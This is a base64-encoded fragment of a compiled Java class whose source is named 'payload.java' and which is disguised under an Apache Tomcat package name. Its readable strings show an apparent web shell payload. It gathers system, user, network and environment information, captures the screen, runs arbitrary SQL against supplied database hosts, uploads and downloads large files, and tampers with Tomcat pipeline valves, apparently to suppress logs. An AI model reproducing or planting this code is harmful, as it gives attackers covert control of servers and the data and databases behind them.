EAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYn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